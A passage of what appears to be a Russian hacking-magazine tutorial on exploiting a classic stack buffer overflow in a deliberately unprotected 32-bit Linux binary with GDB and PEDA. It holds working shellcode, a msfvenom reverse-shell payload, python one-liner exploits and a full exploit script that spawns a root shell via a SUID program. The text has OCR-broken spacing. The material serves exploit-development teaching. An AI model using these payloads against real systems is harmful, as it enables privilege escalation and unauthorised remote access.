0x0804843f <+36>: call 0x80482e0 <printf@plt>  ; printf("Input: %s\
n", buf)
0x08048444 <+41>: add  esp,0x8                 ; очистить стек от 
крайнего значения

Да лее  идет  во  мно гом  схо жая  под готов ка  аргу мен тов  для  фун кции  печати
вве ден ной стро ки на экран.

0x08048447 <+44>: mov  eax,0x0  ; eax = 0x0

Ре гистр EAX канонич но обну ляет ся перед воз вра том из фун кции.
И, наконец, самое инте рес ное — и во мно гом то, что дела ет воз можным

изме нение поведе ния прог раммы, — эпи лог.

0x0804844c <+49>: leave  ; mov esp,ebp; pop ebp
0x0804844d <+50>: ret    ; eip = esp

Здесь   раз ворачи вает ся не во что иное, как в цепоч ку из двух инс трук‐ 
ций —  . Этим дей стви ем мы в точ ности «отка тыва ем»
то,  что  было  сде лано  при  соз дании  сте ково го  кад ра:  вер шина  сте ка  вновь
ука зыва ет  на  зна чение,  которое  она  содер жала  перед  вхо дом  в  фун кцию,
а  EBP  опять  при нима ет  зна чение  EBP  вызыва ющей  фун кции.  Пос ле  это го
выпол няет ся  инс трук ция  ,  которая,  в  сущ ности,  берет  вер хнее  зна чение
сте ка, прис ваивает его регис тру EIP, пред полагая, что это сох ранен ный адрес
воз вра та  в  вызыва ющую  фун кцию,  перехо дит  по  это му  адре су,  не  ожи дая
недоб рого, и все вер нулось бы на кру ги своя... Если бы здесь в игру не всту‐ 
пили мы.

leave
mov esp,ebp; pop ebp

ret

Од нако  преж де  чем  перехо дить  непос редс твен но  к  раз бору  струк туры
экс пло ита, уде лим вни мание инс тру мен ту отладки GDB, с помощью которо го
был получен лис тинг ассем бле ра, и его модифи кации.

GDB (PEDA)
 (GNU Debugger) — инс тру мент отладки, вхо дящий в сос тав про екта GNU

и поз воля ющий работать со мно гими язы ками прог рамми рова ния, в том чис‐ 
ле с C и C++. В GDB реали зован интерфейс инте рак тивной коман дной стро ки
как  механизм  вза имо дей ствия  с  поль зовате лем,  а  некото рые  энту зиас ты
и вов се умуд ряют ся   этот инс тру мент отладки, как REPL для язы‐ 
ка C.

GDB

ис поль зовать

Приз нать ся  чес тно,  я  всег да  чувс тво вал  себя  нес коль ко  неуют но  внут ри
сре ды  GDB  из‐за  отсутс твия  вспо мога тель ных  дан ных  «на  фоне»:  что бы
вытащить любую кру пицу информа ции (текущее сос тояние регис тров, содер‐ 
жимое  сте ка,  активные  точ ки  оста нова  и  про чее),  нуж но  ввес ти  отдель ную
коман ду, и нес мотря на то, что прак тичес ки все коман ды в GDB име ют одно‐ 
бук венные али асы, это быва ет очень уто митель но.

К счастью, на помощь при ходит рас ширение   (Python Exploit Develop‐
ment  Assistance  for  GDB)  —  ассистент  для  GDB,  написан ный  на  Python,
который приз ван сде лать отладчик чуть более дру жес твен ным. По наз ванию
мож но заметить, что исполь зует ся ассистент в основном при раз работ ке экс‐ 
пло итов для бинар ных уяз вимос тей.

PEDA

Ус танав лива ется рас ширение в два кли ка: кло ниру ем репози торий и акти‐ 
виру ем ассистент в кон фигура цион ном фай ле GDB.

 

 

 git clone https://github.com/longld/peda.git ~/peda 
 echo "source ~/peda/peda.py" >> ~/.gdbinit
$
$

checksec
В  PEDA  дос тупен  такой  замеча тель ный  модуль,  как  .  Он  поможет
опре делить,  какие  механиз мы  безопас ности  активны  в  дан ный  момент
для дан ного исполня емо го фай ла.

checksec

PEDA checksec

 — защит ник сте ка от перепол нения,  который мы отклю чили нас‐ 
трой кой  .

• CANARY

­fno­stack­protector

  —  интеллек туаль ная  защита  ком пилято ра,  зак люча ющаяся
в  про вер ке фун кций,  которые  в  качес тве  аргу мен тов  при нима ют  небезо‐ 
пас ные  струк туры  дан ных  (раз мер  которых  задан  ста тичес ки,  нап ример
мас сивы  фик сирован ного  раз мера).  В  про цес се  про вер ки  ком пилятор
заменя ет вызовы таких фун кций на вызовы их спе циаль ных ана логов, уме‐ 
ющих замечать выход за пре делы гра ниц допус тимой памяти, и переда ет
им  мак сималь но  воз можный  раз мер  для  потен циаль но  «небезо пас ного»
аргу мен та.  Если  при  этом  была  замече на  переза пись  «чужой»  памяти,
прог рамма немед ленно завер шает ся.

• FORTIFY

 — «неис полня емый» стек. Отклю чено нас трой кой  .• NX ­z execstack

 — позици онно‐незави симый бинар ник. Отклю чено нас трой кой 
 и неис поль зовани ем защиты ASLR.

• PIE ­no­

pie

 — режим «толь ко чте ние» для таб лицы GOT. Отклю чено нас трой кой
.

• RELRO

­Wl,­z,norelro

По доб ную про вер ку мож но  так же  про вес ти  и без  исполь зования  это го рас‐ 
ширения для GDB, нап ример с помощью  .скрип та

РАЗРАБОТКА ЭКСПЛОИТОВ
Итак,  пора  что‐нибудь  перепол нить!  Основная  идея  ата ки  сры ва  сте ка  зак‐ 
люча ется  в  переза писи  адре са  воз вра та —  того  самого  сох ранен ного  зна‐ 
чения  регис тра  EIP,  по  которо му  будет  совер шен  пры жок,  ког да  отра бота ет
уяз вимая фун кция. В рам ках рас смат рива емо го кей са мы раз местим в сте ке
вре донос ный шелл‐код,  рас счи таем его адрес и  заменим им ори гиналь ный
EIP.

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
ПРЕПАРИРУЕМ КЛАССИКУ ПЕРЕПОЛНЕНИЯ

БУФЕРА В СОВРЕМЕННЫХ УСЛОВИЯХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Рас счи тать сме щение EIP
Вы чис лить  рас положе ние  адре са  воз вра та  в  нашем  слу чае  мож но  и  без
помощи каких‐либо инс тру мен тов, прос то изу чив низ коуров невый код.

 

 

 
 
 
 
 
 
 
 
 
 
 
 

|       ...       |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|      Адрес      |
|     возврата    |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|       EBP       |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|       buf       |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|    Свободное    |
|  пространство   |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|       ...       |

Адрес_возврата = buf + EBP = 128 + 4 = 132

Од нако сущес тву ет спо соб авто мати зиро вать этот про цесс: он зак люча ется
в  генера ции  уни каль ной  стро ки  (пат терна)  задан ной  дли ны,  которая  будет
скор мле на  уяз вимой  прог рамме.  Если  таким  обра зом  нам  удас тся  переза‐ 
писать EIP,  то по  зна чению,  которое при мет  этот регистр,  так же с помощью
скрип та мы лег ко вычис лим, сколь ко нуж но байт, что бы доб рать ся до адре са
воз вра та.

Су щес тву ет  нес коль ко  реали заций  такого  под хода.  Пер вая  из  них  —
это  встро енный  в  PEDA модуль  pattern.  Коман да  ,  где
 — тре буемая дли на, поз воля ет соз дать уни каль ный пат терн.

pattern create  <n>
n

За пус тим отладчик (с опци ей   для подав ления вывода началь ного при‐ 
ветс твия) и сге нерим стро ку в 200 байт, что бы удос товерить ся, что перепол‐ 
нение точ но про изой дет.

‐q

Ге нера ция уни каль ного пат терна в PEDA GDB

С  помощью  коман ды    (как  я  уже  говорил,  поч ти  все  коман ды
в  GDB  сок раща ются  до  одной  бук вы  для  удобс тва,  поэто му    —  это  )
запус тим прог рамму на выпол нение, передав в качес тве аргу мен та сге нери‐ 
рован ный пат терн.

run <СТРОКА>
r run

Enter — и коман да run будет выпол нена

В  резуль тате  уви дим  такое  при ятное  гла зу  окно  ассистен та  PEDA  (чис тый
GDB  без  «обве сов»  был  бы  очень  нем ногос ловен),  в  котором  сра зу  вид но,
какие  зна чения  при няли  все  важ ные  для  нас  регис тры.  Пос ле  чего,  сно ва
исполь зуя  модуль  pattern,  рас счи таем  сме щение  как 

, передав зна чение EIP, которое имел регистр на момент ошиб ки
сег мента ции.

pattern  offset 
0x6c414150

Рас чет сме щения до регис тра EIP в PEDA GDB

По лучи ли 132 — это озна чает,  что мы были пра вы  в  нашем пред положе нии
выше.

WWW

Дру гие  реали зации  таких  инс тру мен тов  мож но
най ти  как  в  виде  онлай новых  сер висов  (

, 
),  так  и  в  виде  отдель ных

скрип тов. Самый извес тный из них, пожалуй, 
 Metasploit.

Buffer
Overflow  EIP  Offset  String  Generator Buffer  over‐
flow  pattern  generator

вхо‐ 
дит в сос тав

Те перь у тебя есть информа ция о рас положе нии адре са воз вра та. Что даль‐ 
ше?

Су щес тву ет нес коль ко вари антов раз мещения шелл‐кода в прос транс тве
сте ка, но спер ва еще нем ного теории.

Шелл‑коды
В будущем экс пло ите роль полез ной наг рузки будет выпол нять   —
набор  машин ных  инс трук ций,  пред став ленных  в  шес тнад цатерич ном  виде,
поз воля ющий получить дос туп к коман дно му интер пре тато ру и/или выпол нить
иную пос ледова тель ность дей ствий, угод ных наруши телю… То есть нам.

шелл‐код

Шелл‐коды мож но:
 самос тоятель но;• на писать

 в сети;• най ти
 раз личным нас тупатель ным ПО.• сге нери ровать

Для нашего при мера возь мем   шелл‐код раз мером в 33 бай та для Linux
x86.  Он  уста нав лива ет    и    иден тифика торы
поль зовате ля  для  вызыва юще го  про цес са  рав ными  нулю  (root)  и  запус кает
шелл.

этот
дей стви тель ный эф фектив ный

// setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])

"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
"\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"

Про тес тировать, что шелл‐код и прав да выпол нится в тво ей сис теме, мож но
с помощью прос той прог раммы на C.

// Использование: gcc ‐fno‐stack‐protector ‐z execstack ‐mprefe
rred‐stack‐boundary=2 ‐o test_shellcode_v1 test_shellcode_v1.c && ./
test_shellcode_v1

#include <stdio.h>
#include <string.h>

const unsigned char shellcode[] =
 "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
 "\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
 "\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char* argv[]) {
 printf("Shellcode size: %d\n\n", strlen((const char*)shellcode));

 int* ret;
 ret = (int*)&ret + 2;
 (*ret) = (int)shellcode;

}

Ло гика работы прос та:
1. объ явле ние ука зате ля на целое (перемен ная  ), который рас положит ся
в сте ковом фрей ме   сра зу пос ле сох ранен ного зна чения EBP;

ret

main

2. сме щение  на  8  байт  отно ситель но  этой  перемен ной  для  того,  что бы
попасть на адрес воз вра та (  перемес тит нас точ но на 8 байт, так как мы
име ем дело с типом ука зате ля, который занима ет 4 бай та);

+2

3. пе реза пись  адре са  воз вра та  (EIP)  адре сом  нашего  шелл‐кода.  Гру бо
говоря,  про исхо дит  то  же  самое,  что  мы  сде лаем  при  экс плу ата ции
перепол нения — толь ко здесь все «легаль но».

Аль тер натив ной  реали заци ей  может  стать  так же  код  на  C,  в  котором  мы
будем  интер пре тиро вать  мас сив,  содер жащий  шелл‐код,  как  фун кцию  —
и прос то «вызовем» ее.

// Использование: gcc ‐fno‐stack‐protector ‐z execstack ‐mprefe
rred‐stack‐boundary=2 ‐o test_shellcode_v2 test_shellcode_v2.c && ./
test_shellcode_v2

#include <stdio.h>
#include <string.h>

const unsigned char shellcode[] =
 "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89"
 "\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
 "\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char* argv[]) {
 printf("Shellcode size: %d\n\n", strlen((const char*)shellcode));

 void (*fp)(void);
 fp = (void*)shellcode;
 fp();

}

Ис поль зуй что нра вит ся, а мы идем даль ше.

По лез ная наг рузка до ESP
GDB  поз воля ет  исполь зовать  скрип ты  на  Python  из  инте рак тивно го  режима
для облегче ния про цес са отладки, поэто му с помощью прос той питонов ской
коман ды еще раз убе дим ся, что мы можем переза писать зна чение EIP на что
угод но.

Для это го коман дой   я пос тавлю точ ку оста нова на инс трук цию 
(адрес   — см. лис тинг ассем бле ра).

break ret
0x0804844d

 

 
gdb‐peda$ b *0x0804844d

Пос ле  чего  выпол ню  прог рамму,  передав  в  качес тве  аргу мен та  стро ку
из  132  сим волов  «A»  (мусор,  что бы  доб рать ся  до  адре са  воз вра та),  кон‐ 
катени рован ную со зло вещим зна чени ем   («мер твый код»). Пом ня
о  little  endian,  я  раз ворачи ваю  стро ку,  содер жащую  адрес,  с  помощью
питонов ско го механиз ма работы со сре зами  .

0xd34dc0d3

[::‐1]

 

 
gdb‐peda$ r `python ‐c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::‐1]'`

Смот рим зна чение регис тров в точ ке оста нова перед ret

Так  как  мы  оста нови лись  перед  выпол нени ем  ,  зна чение  «мер твый  код»
находит ся  на  вер шине  сте ка  (выделе но  крас ным),  то  есть  в  ESP,  отку да  он
попал бы в регистр EIP, если бы мы не прер вали выпол нение. Так же обра ти
вни мание, что сей час EIP равен той самой точ ке оста нова (выделе но синим).

ret

Ко ман дой   (от examine) ты можешь получить более наг лядное пред став‐ 
ление о любом учас тке памяти, нап ример о том, что тво рит ся сей час в начале
сте ково го  фрей ма  ( ),  и  в  уме  раз метить  его  прос транс тво,  что бы
луч ше понимать, как шелл‐код «ляжет» на стек. Через слеш я ука жу фор мат,
в котором хочу получить резуль тат:   для зап роса 64‐х 4‐хбай тных слов ( )
в шес тнад цатерич ном виде ( ).

x

$esp‐132

64wx w
x

 

 
gdb‐peda$ x/64wx $esp‐132

Ожи даемое запол нение сте ка пос ле заг рузки шелл‐кода

Да вай раз берем ся, что я здесь изоб разил.
По ка  все,  что  находит ся  до  зна чения    в  крас ной  рам ке,  —
это мусор из  сим волов  «A»,  на мес то  которых  вско ре  ляжет  неч то более
инте рес ное.

• 0xd34dc0d3

Оран жевым  выделе на  область,  в  которой  будет  раз мещен  шелл‐код
(33 бай та). Обра ти вни мание, что в пос леднем сло ве (адрес  )
зах ватит ся наимень ший зна чащий байт — все так же из‐за поряд ка бай тов
little endian.

•
0xbfffee18

Шелл‐код окру жают синие области по 32 бай та каж дая — это так называ‐ 
емые    (NOP sled), исполь зуемые для  того,  что бы не вымерять
адрес шелл‐кода с точ ностью до бай та: сег менты, сос тоящие из инс трук‐ 
ций NOP (no operation, код   для семей ства архи тек тур Intel x86), пред‐ 
писыва ющих про цес сору в бук валь ном смыс ле «ничего не делать», могут
исполь зовать ся  наруши телем  для  воз можнос ти  «прыг нуть»  на  учас ток
такого  сег мента  и  «прос коль зить»  до  мес та  рас положе ния  шелл‐кода.
Таким  обра зом  умень шает ся  веро ятность  ука зать  невер ный  адрес  —
полез ная  наг рузка  все  рав но  будет  выпол нена.  Так же  в  час тых  слу чаях
в  сов ремен ных  сис темах  быва ет  прос то  невоз можно  однознач но  задать
ста тичес кий адрес, однажды его рас счи тав, и наде ять ся,  что при каж дом
сле дующем  запус ке  прог раммы он  оста нет ся  неиз менным  (здесь  игра ет
роль  и  ASLR,  и  тон кости  работы  ком пилято ра  при  вырав нивании  сте ка,
к которым мы еще вер немся). Что каса ется области NOP «за» шелл‐кодом,
то  она  ско рее  слу жит  сво его  рода  «запол нителем»  сво бод ного  мес та
(при мер но  как  мусор  из  сим волов  «A»),  что бы  мож но  было  доб рать ся
до  инте ресу юще го  нас  зна чения.  Кро ме  того,  счи тает ся  хорошим  тоном
(если  мес то  поз воля ет)  оставлять  неболь шой  NOP‐срез  пос ле  инжекта
шелл‐кода  на  слу чай,  если  ему  понадо бит ся  мес то  для  «рас ширения»
в про цес се исполне ния.

•
NOP‐сре зы

0x90

• Зе леным выделе но запол нение сте ка junk‐сим волами «A»:

35 байт = (EBP + buf) ‐ NOP_срез*2 ‐ Шелл_код = (128 + 4) ‐ 32*2 
‐ 33

Про дол жив выпол нение коман дой  , мы триг герим выпол нение инс‐ 
трук ции  , прог рамма ожи даемо кра шит ся с ошиб кой сег мента ции, и адрес
воз вра та слов но по вол шебс тву прев раща ется в ожи даемый  .

continue
ret

0xd34dc0d3

 

 
gdb‐peda$ c

Про дол жение выпол нения прог раммы

Те перь мож но прис тупать к боевым дей стви ям. Гру бый экс пло ит для выпол‐ 
нения  из  инте рак тивной  обо лоч ки  GDB  выг лядит  так  (чуть  поз же  сде лаем
это более кра сиво и без необ ходимос ти запус кать отладчик).

 

 

gdb‐peda$ r `python ‐c 'print "\x90"*32 + "\x6a\x46\x58\x31\xdb\x31\xc9\
xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90"*32 + "A"*35 + "\xbf\xff\xed\
xe8"[::‐1]'`

Ад рес,  который  переза писы вает  EIP,  —  :  мы  пры гаем  ров но
на середи ну NOP‐сре за (см. рисунок запол нения сте ка).

0xbfffede8

Те перь я сме ню вла дель ца исполня емо го фай ла и груп пу на root, прис вою
ему  бит  ,  что бы  вызов    (из  шелл‐кода)  имел  смысл,
и выпол ню коман ду выше из‐под отладчи ка.

SUID setreuid(0,0)

 

 

 sudo chown root overflow 
 sudo chgrp root overflow 
 sudo chmod +s overflow

$
$
$

Спа ун шел ла и выпол нение коман ды id

Та ким  обра зом  мы  соз дали  новый  про цесс,  в  котором  запус тился  шелл 
  ( ,  кста ти,  в  Debian  и  Ubuntu  заменил  собой  ста рин ный 

  который,  в  свою  оче редь,  прев ратил ся  лишь  в  сим линк  на 
/bin/dash dash

,/bin/sh
)./bin/dash

Вы пол нив коман ду  , видим, что мы все еще работа ем с пра вами обыч‐ 
ного поль зовате ля — дело здесь в том, что GDB   бит SUID, толь ко
если  он  сам  не  запущен от  име ни  root,  поэто му  сес сию  супер поль зовате ля
мы получим толь ко тог да, ког да выпол ним экс плу ата цию без учас тия отладчи‐ 
ка.

id
не ува жает

По лез ная наг рузка пос ле ESP
Ес ли  бы  нам  не  хва тило  памяти  для  рас положе ния  шелл‐кода  в  пре делах
«офи циаль но»  выделен ного  буфера  мас сива  ,  то  мож но  было  бы  поп‐ 
робовать зах ватить кусок «ничь ей» памяти, находя щей ся за вер шиной сте ка.
Одна ко  здесь  все  очень  ситу ацион но,  и  раз мер  области  памяти,  которую
было  бы  допус тимо  исполь зовать  без  серь езных  пос ледс твий,  неп ред ска‐ 
зуем и зависит толь ко от текуще го сос тояния машины.

buf

К  при меру,  если  я  передаю  стро ку  из  1000  допол нитель ных  байт  пос ле
переза писи адре са воз вра та, то лов лю ошиб ку неиз вес тной при роды из фун‐ 
кции  .ptmalloc_init

Ошиб ка при переза писи чужой памяти

Про изош ло это из‐за того, что я бес пардон но втор гся на тер риторию области
памяти, с которой уже работа ли дру гие фун кции, и начал наводить там свои
поряд ки  —  переза писы вать  зна чения  сво ими  дан ными.  GDB  исполь зует
вспо мога тель ные биб лиоте ки для вывода более информа тив ных сооб щений
об  ошиб ках  в  слу чаях,  ког да  прог рамма  пада ет.  Если  вре мен но  отклю чить
исполь зование этих биб лиотек (в нашем вари анте они все рав но не слиш ком
полез ны),  мож но  убе дить ся,  что  раз деля емая  биб лиоте ка  стан дар тных фун‐ 
кций С libc жалу ется на то, что мы зат ронули уже занятую ей память.

 

 

gdb‐peda$ show debug‐file‐directory  // смот рим, какая дирек тория содер‐ 
жит биб лиоте ки с информа цией для дебага 

 
gdb‐peda$ set debug‐file‐directory  // вре мен но отклю чаем ее исполь‐ 
зование

The directory where separate debug symbols are searched for is "/usr/
lib/debug".

Ошиб ка при переза писи чужой памяти (libc)

Ме тодом  «Пол, Палец, Потолок»  выяс няем,  что  при  переза писи  160  бай тов
за пре дела ми сте ка ничего пло хого не про исхо дит.

 

 

gdb‐peda$ r `python ‐c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::‐1] + 
"B"*160'`

При переда че 160 байт за стек прог рамма не пада ет

По это му  ради  раз нооб разия  сге нери руем  пей лоад  с  помощью  метас пло‐ 
итов ско го  msfvenom  и  пос мотрим  на  запол нение  сте ка  при  таком  раз‐ 
мещении шелл‐кода.

Для это го перемес тимся на Kali и пос мотрим спи сок дос тупных полез ных
наг рузок для Linux  x86,  которые не ори енти руют ся на исполь зование meter‐
preter (его в нашем рас поряже нии на Ubuntu нет).

Спи сок пей лоадов для Linux x86 без meterpreter

Я  выб рал  реверс‐шелл  .  Сге нери руем  его,
ука зав  в  качес тве  жер твы  localhost  на  1337  пор ту  и  закоди ровав  наг рузку
с помощью     для уве личе ния раз мера кода.

linux/x86/shell_reverse_tcp

эн кодера x86/shikata_ga_nai

 

 

root@kali:~# msfvenom ‐p linux/x86/shell_reverse_tcp ‐e x86/shikata_ga_‐
nai ‐a x86 ‐‐platform linux LHOST=127.0.0.1 LPORT=1337 ‐f c 

 
 

 
 

 
 

 
 
 
 
 
 
 

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xbe\xaf\x6c\xe1\x7e\xd9\xe5\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x12\x83\xc7\x04\x31\x77\x0e\x03\xd8\x62\x03\x8b\x17\xa0\x34"
"\x97\x04\x15\xe8\x32\xa8\x10\xef\x73\xca\xef\x70\xe0\x4b\x40"
"\x4f\xca\xeb\xe9\xc9\x2d\x83\x96\x29\xce\x52\x01\x28\xce\x51"
"\xe8\xa5\x2f\xe9\x6c\xe6\xfe\x5a\xc2\x05\x88\xbd\xe9\x8a\xd8"
"\x55\x9c\xa5\xaf\xcd\x08\x95\x60\x6f\xa0\x60\x9d\x3d\x61\xfa"
"\x83\x71\x8e\x31\xc3";

На язы ке питонов ских однос троч ников экс пло ит будет выг лядеть так.

python ‐c 'print "A"*132 + "\xbf\xff\xed\xcc"[::‐1] + "\x90"*32 + "\
xbe\xaf\x6c\xe1\x7e\xd9\xe5\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x12\x83\
xc7\x04\x31\x77\x0e\x03\xd8\x62\x03\x8b\x17\xa0\x34\x97\x04\x15\xe8\
x32\xa8\x10\xef\x73\xca\xef\x70\xe0\x4b\x40\x4f\xca\xeb\xe9\xc9\x2d\
x83\x96\x29\xce\x52\x01\x28\xce\x51\xe8\xa5\x2f\xe9\x6c\xe6\xfe\x5a\
xc2\x05\x88\xbd\xe9\x8a\xd8\x55\x9c\xa5\xaf\xcd\x08\x95\x60\x6f\xa0\
x60\x9d\x3d\x61\xfa\x83\x71\x8e\x31\xc3" + "\x90"*32 + "A"'

А стек пос ле внед рения шелл‐кода при мет сле дующий вид.

За пол нение сте ка пос ле заг рузки шелл‐кода

Здесь прак тичес ки все то же самое, что и на пер вом рисун ке ана лиза сте ка,
кро ме того, что полез ная наг рузка теперь находит ся пос ле ESP. Но при этом
мы так же «пры гаем» ров но на середи ну пред варя юще го шелл‐код NOP‐сре за
(адрес  ), а зеленым сно ва выделе но запол нение сте ка  junk‐сим‐ 
волами «A»:

0xbfffedcc

1 байт = доступная_память_после_ESP ‐ NOP_срез*2 ‐ шелл_код = 160 ‐ 
32*2 ‐ 95

Ос тавив локаль ного слу шате ля на 1337 пор ту,  я  запус тил прог рамму, подав
на вход вре донос ную стро ку, и получил свой шелл.

nc ловит реверс‐шелл на 1337 пор ту
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В КОРОЛЕВСТВЕ PWN
ПРЕПАРИРУЕМ КЛАССИКУ ПЕРЕПОЛНЕНИЯ

БУФЕРА В СОВРЕМЕННЫХ УСЛОВИЯХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Экс пло ит без GDB
При  работе  прог раммы  не  из‐под  отладчи ка  адре са  исполь зуемой  памяти
сме щают ся,  поэто му  вре донос ная  стро ка  не  сра бота ет  без  кор ректи ров ки
адре са  воз вра та. Что бы  узнать  новое  зна чения инте ресу юще го нас адре са,
вос поль зуем ся дам пом ядра.

На чиная с релиза 16.04 в Ubuntu по умол чанию исполь зует ся кош марный
сер вис   для управле ния соз дани ем отче тов о падении прог рамм, вклю‐ 
чая дам пы ядра. Кош марный, потому что он не дает управлять кон фигура цией
дам пов при выч ными спо соба ми, поэто му для начала изба вим ся от него.

Apport

 

 

 sudo vi /etc/default/apport  # уста новить зна чение "enabled" в "0" 
 sudo systemctl stop apport
$
$

Пос ле  это го  вне сем  неболь шие  изме нения  в  стан дар тное  поведе ние  соз‐ 
дания дам пов (пер вые три коман ды дол жны быть выпол нены от име ни su).

 

 

 echo 1 > /proc/sys/kernel/core_uses_pid 
 echo '/tmp/core‐%e‐%s‐%u‐%g‐%p‐%t' > /proc/sys/kernel/core_pattern 
 echo 2 > /proc/sys/fs/suid_dumpable 
 ulimit ‐c unlimited

#
#
#
$

Что здесь про исхо дит по стро кам:
1. ус танов ка «без лимита» на раз мер соз дава емых дам пов;
2. до бав ление к име ни фай ла дам па PID про цес са;
3. из менение  обще го  шаб лона  име ни  фай ла  дам па  (опи сание  фор матов
мож но най ти   core);в ману але

4. вклю чение соз дания дам пов для исполня емых фай лов с битом SUID.

Да лее я «уро ню» нашу прог рамму (на этот раз уже из тер минала) с помощью
Python, передав на вход ту самую диаг ности чес кую стро ку c «мер твым кодом»
в качес тве адре са воз вра та.

 

 

 ./overflow   

 

$ python ‐c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::‐1]'
Input: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM
Ошибка сегментирования (сделан дамп памяти)

Сог ласно  задан ному  шаб лону  име ни  дамп  сох ранил ся  в  дирек тории  .
Запус тим отладчик, ука зав путь до фай ла, содер жащего дамп.

/tmp

 

 
 gdb ./overflow /tmp/core‐overflow‐11‐1000‐1000‐8767‐1568120200 ‐q$

И про ведем ров но те же самые манипу ляции, которые я опи сал выше, ког да
мы в пер вый раз рас счи тыва ли рас положе ние шелл‐кода. В моем слу чае, что‐ 
бы  сно ва  «прыг нуть»  на  середи ну  NOP‐сре за,  рас положен ного
перед шелл‐кодом, мне пот ребова лось изме нить адрес воз вра та на 

.
0xbff‐

fee2c
Та ким обра зом, у нас есть все для соз дания кра сиво го скрип та для PWN

рас смат рива емой уяз вимос ти.

#!/usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python exploit.py

import struct
from subprocess import call

def little_endian(num):
 """Упаковка адреса в формат little endian."""
 return struct.pack('<I', num)

junk     = 'A' * 35                   # мусор из символов "A"
nop_sled = '\x90' * 32                # NOP‐срез
ret_addr = little_endian(0xbfffee2c)  # адрес возврата

# setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
shellcode = '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\
x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\
xe1\xcd\x80'

payload  = nop_sled
payload += shellcode
payload += nop_sled
payload += junk
payload += ret_addr

try:
 call(['./overflow', payload])  # выполнится в случае, если был 

импорт функции call (7‐я строка)
except NameError:
 print payload  # выполнится в противном случае

По умол чанию экс пло ит самос тоятель но вызовет прог рамму с необ ходимым
аргу мен том,  одна ко  если  нуж но  вруч ную  передать  вре донос,  дос таточ но
заком менти ровать седь мую стро ку скрип та, содер жащую импорт  .call

 

 

 python exploit.py 
 

 
 id 

$
Input: jFX111j
XRh//shh/binRSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#
uid=0(root) gid=1000(snovvcrash) groups=1000(snovvcrash),4(adm),24(
cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Вот  здесь  уже  сыг рало  роль  то,  что  ранее  мы  прис воили  бинар нику  бит
SUID  —  шелл  получен  с  при виле гиями  root  без  исполь зования  sudo
при запус ке прог раммы.

Для написа ния подоб ного рода скрип тов луч ше поль зовать ся вто рой вер‐ 
сией Python в силу осо бен ностей работы с кодиров ками для стро ково го типа
дан ных. К  тому же на Python 2 написан самый популяр ный модуль, облегча‐ 
ющий экс плу ата цию бинар ных  уяз вимос тей, —  . К сожале нию, pwn‐
tools не работа ет на дис три бути вах 32‐бит ной архи тек туры, поэто му оста вим
его исполь зование до часа экс плу ата ции 64‐бит ных бинарей.

pwntools

ОБХОД НОВОГО ПРОЛОГА ФУНКЦИИ MAIN
Го товя  эту  статью,  я  заметил,  что  одним  из     
от  людей,  которые про ходят  уро ки по перепол нению буфера,  явля ется  воп‐ 
рос, свя зан ный с ( ) новым про логом фун кции   ком пилято ра
GCC для Linux, который при шел вмес те с необ ходимостью вырав нивать стек
по 16‐бай товой гра нице  (тре бует ся для кор рек тной работы сета инс трук ций

).

час то за дава емых воп росов

от носитель но main

SSE2
Так  как  ни  одно го  дос тупно го  при мера  кода  для  перепол нения  в  таких

усло виях я не нашел, в этом параг рафе раз берем осо бен ности ассем блер‐ 
ного  кода,  который  получа ется  в  том  слу чае,  ког да  при  ком пиляции  мы
не меня ем дефол тное вырав нивание с помощью опции 

, и раз работа ем для него экс пло ит.
‐mpreferred‐stack‐

boundary

Те ория
Ес ли  не  исполь зовать  флаг    (см.  начало
статьи),  то  резуль тат  будет  таким же,  как  при  исполь зовании 

  —  сте ковый  фрейм  фун кции    будет  выров нен
на 16 байт.

‐mpreferred‐stack‐boundary=2
‐mpreferred‐

stack‐boundary=4 main

